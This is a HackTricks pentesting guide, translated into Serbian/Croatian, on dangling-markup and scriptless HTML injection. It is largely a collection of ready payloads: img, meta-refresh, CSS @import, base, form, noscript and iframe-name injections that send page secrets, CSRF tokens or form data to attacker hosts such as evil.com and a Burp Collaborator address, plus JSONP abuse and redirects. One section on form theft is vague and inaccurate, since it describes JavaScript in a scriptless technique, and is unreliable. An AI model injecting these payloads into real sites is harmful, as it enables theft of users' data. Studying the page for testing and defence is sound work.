15 KiB
Dangling Markup - HTML scriptless injection
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu u HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Rezime
Ova tehnika se može koristiti za izvlačenje informacija od korisnika kada se pronađe HTML ubacivanje. Ovo je veoma korisno ako ne možete pronaći način za iskorišćavanje XSS , ali možete ubaciti neke HTML tagove.
Takođe je korisno ako se neki tajni podaci čuvaju u čistom tekstu u HTML-u i želite ih izvući sa klijenta, ili ako želite da zavarate izvršavanje nekog skripta.
Nekoliko tehnika koje su ovde komentarisane mogu se koristiti za zaobilaženje nekih Content Security Policy pravila izvlačenjem informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).
Glavne primene
Krađa tajnih podataka u čistom tekstu
Ako ubacite <img src='http://evil.com/log.cgi?
kada se stranica učita, žrtva će vam poslati sav kod između ubačenih img
tagova i sledećeg navodnika unutar koda. Ako se neki tajni podatak nalazi u tom delu, ukradećete ga (isto možete uraditi koristeći dvostruki navodnik, pogledajte koji bi mogao biti interesantniji za upotrebu).
Ako je img
tag zabranjen (na primer, zbog CSP-a), takođe možete koristiti <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
.
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Napomena da Chrome blokira HTTP URL-ove sa "<" ili "\n" u njima, pa možete pokušati sa drugim protokolima kao što je "ftp".
Takođe možete zloupotrebiti CSS @import
(će poslati sav kod sve dok ne pronađe ";")
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Možete takođe koristiti <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
Možete takođe umetnuti <base
oznaku. Sve informacije će biti poslate sve dok se navodnik ne zatvori, ali zahteva neku interakciju korisnika (korisnik mora kliknuti na neki link, jer će oznaka base promeniti domen na koji link pokazuje):
<base target=' <--- Injected
steal me'<b>test</b>
Krađa formi
Dangling Markup (HTML) Scriptless Injection (DMSI) je tehnika koja omogućava krađu podataka iz formi na web stranicama. Ova tehnika se koristi kada je web stranica podložna DMSI napadima.
DMSI napad se izvodi ubacivanjem zlonamernog koda u HTML kod web stranice. Ovaj kod se obično ubacuje u komentare, skrivene elemente ili neaktivne delove stranice. Kada korisnik popuni formu na web stranici, zlonamerni kod se aktivira i podaci iz forme se šalju napadaču.
Da biste izveli DMSI napad, prvo morate identifikovati ciljanu web stranicu koja je podložna ovom napadu. Zatim, proučite HTML kod stranice kako biste pronašli potencijalne tačke za ubacivanje zlonamernog koda.
Nakon što pronađete odgovarajuće mesto za ubacivanje koda, možete koristiti različite tehnike za krađu podataka iz forme. Na primer, možete koristiti JavaScript za presretanje i slanje podataka na udaljeni server ili možete koristiti CSRF (Cross-Site Request Forgery) napad kako biste prevarili korisnika da samostalno pošalje podatke.
Važno je napomenuti da je DMSI napad ilegalan i da se ne sme koristiti bez pristanka vlasnika web stranice. Ova tehnika se često koristi u etičkom hakovanju kako bi se identifikovali propusti u bezbednosti i pomoglo u njihovom otklanjanju.
<base href='http://evil.com/'>
Zatim, obrasci koji šalju podatke na putanju (poput <form action='update_profile.php'>
) će slati podatke na zlonamernu domenu.
Krađa obrazaca 2
Postavite zaglavlje obrasca: <form action='http://evil.com/log_steal'>
ovo će prebrisati sledeće zaglavlje obrasca i svi podaci iz obrasca će biti poslati napadaču.
Krađa obrazaca 3
Dugme može promeniti URL na koji će biti poslati podaci obrasca pomoću atributa "formaction":
<button name=xss type=submit formaction='https://google.com'>I get consumed!
Napadač može koristiti ovo da ukrade informacije.
Krađa tajnih podataka u čistom tekstu 2
Koristeći poslednju pomenutu tehniku za krađu formi (ubacivanje nove zaglavlje forme), možete zatim ubaciti novo polje za unos:
<input type='hidden' name='review_body' value="
i ovo polje za unos će sadržavati sav sadržaj između dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad kombinuje "Krađu tajnih podataka u čistom tekstu" sa "Krađom formi2".
Možete uraditi istu stvar ubacivanjem forme i <option>
oznake. Svi podaci do zatvorene </option>
oznake će biti poslati:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Ubacivanje parametra u formu
Možete promeniti putanju forme i uneti nove vrednosti kako bi se izvršila neočekivana radnja:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
Krađa tajnih podataka u čistom tekstu putem noscript
<noscript></noscript>
je oznaka čiji će se sadržaj interpretirati ako pregledač ne podržava JavaScript (možete omogućiti/onemogućiti JavaScript u Chrome-u na chrome://settings/content/javascript).
Način da se izvrši eksfiltracija sadržaja web stranice od tačke ubacivanja do dna, ka sajtu pod kontrolom napadača, je ubacivanje sledećeg koda:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Bypassiranje CSP-a sa korisničkom interakcijom
Iz ovog portswiggers istraživanja možete naučiti da čak i u najstrože ograničenim CSP okruženjima još uvek možete izfiltrirati podatke uz malo korisničke interakcije. U ovom slučaju ćemo koristiti payload:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Napomena da ćete žrtvu zamoliti da klikne na link koji će je preusmeriti na payload koji kontrolišete. Takođe, napomenite da će target
atribut unutar base
taga sadržati HTML sadržaj do sledećeg jednostrukog navodnika.
To će rezultirati da je vrednost window.name
ako se klikne na link će biti sav taj HTML sadržaj. Stoga, pošto kontrolišete stranicu na koju žrtva pristupa klikom na link, možete pristupiti tom window.name
i ekstraktovati te podatke:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Zavaravajući tok skripte 1 - Napad na HTML namespace
Ubacite novu oznaku sa id-om unutar HTML-a koja će prebrisati sledeću oznaku i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će se informacija deliti:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Zavaravajući tok skripte 2 - Napad na imenik skripte
Kreirajte promenljive unutar JavaScript imenika umetanjem HTML oznaka. Zatim će ova promenljiva uticati na tok aplikacije:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
Zloupotreba JSONP-a
Ako pronađete JSONP interfejs, možete pozvati proizvoljnu funkciju sa proizvoljnim podacima:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Ili čak možete pokušati izvršiti neki JavaScript:
<script src='/search?q=a&call=alert(1)'></script>
Zloupotreba iframe-a
Dete dokument poseduje mogućnost pregledanja i izmene svojstva location
svojih roditelja, čak i u situacijama prelaska preko granica izvora. Ovo omogućava ugrađivanje skripte unutar iframe-a koja može preusmeriti klijenta na proizvoljnu stranicu:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
Ovo se može ublažiti sa nečim poput: sandbox=' allow-scripts allow-top-navigation'
Isto tako, iframe može biti zloupotrebljen kako bi se procurele osetljive informacije sa druge stranice koristeći atribut imena iframe-a. To je zato što možete kreirati iframe koji iframe-uje sam sebe zloupotrebom HTML ubacivanja koje čini da osetljive informacije izgledaju unutar atributa imena iframe-a, a zatim pristupiti tom imenu iz početnog iframe-a i procureti ga.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
Za više informacija pogledajte https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta zloupotreba
Možete koristiti meta http-equiv
da izvršite nekoliko radnji kao što je postavljanje kolačića: <meta http-equiv="Set-Cookie" Content="SESSID=1">
ili izvršavanje preusmeravanja (u ovom slučaju za 5s): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Ovo se može izbeći sa CSP u vezi sa http-equiv (Content-Security-Policy: default-src 'self';
, ili Content-Security-Policy: http-equiv 'self';
)
Novi <portal HTML tag
Možete pronaći vrlo interesantno istraživanje o iskorišćivim ranjivostima <portal> oznake ovde.
Trenutno je potrebno omogućiti portal oznaku u Chrome-u na chrome://flags/#enable-portals
ili neće raditi.
<portal src='https://attacker-server?
HTML Curenje
Nisu sve metode curenja povezanosti u HTML-u korisne za Dangling Markup, ali ponekad mogu biti od pomoći. Provjerite ih ovdje: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Curenje
Ovo je kombinacija između dangling markup i XS-Curenja. S jedne strane, ranjivost omogućava ubrizgavanje HTML-a (ali ne i JS-a) na stranicu iste porijekla kao i ona koju ćemo napadati. S druge strane, nećemo izravno napasti stranicu na koju možemo ubrizgati HTML, već drugom stranicom.
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Pretraga/XS-Curenje
XS-Pretraga je usmjerena na izvlačenje informacija preko granica porijekla zloupotrebom napada na bočni kanal. Stoga, to je drugačija tehnika od Dangling Markup-a, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML oznaka (s izvršenjem i bez izvršenja JS-a), poput CSS ubrizgavanja ili Učitavanja slika na zahtjev.
{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}
Lista za otkrivanje Brute-Force napada
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
Reference
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite vidjeti oglašavanje vaše kompanije u HackTricks-u ili preuzeti HackTricks u PDF formatu Provjerite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podijelite svoje hakiranje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.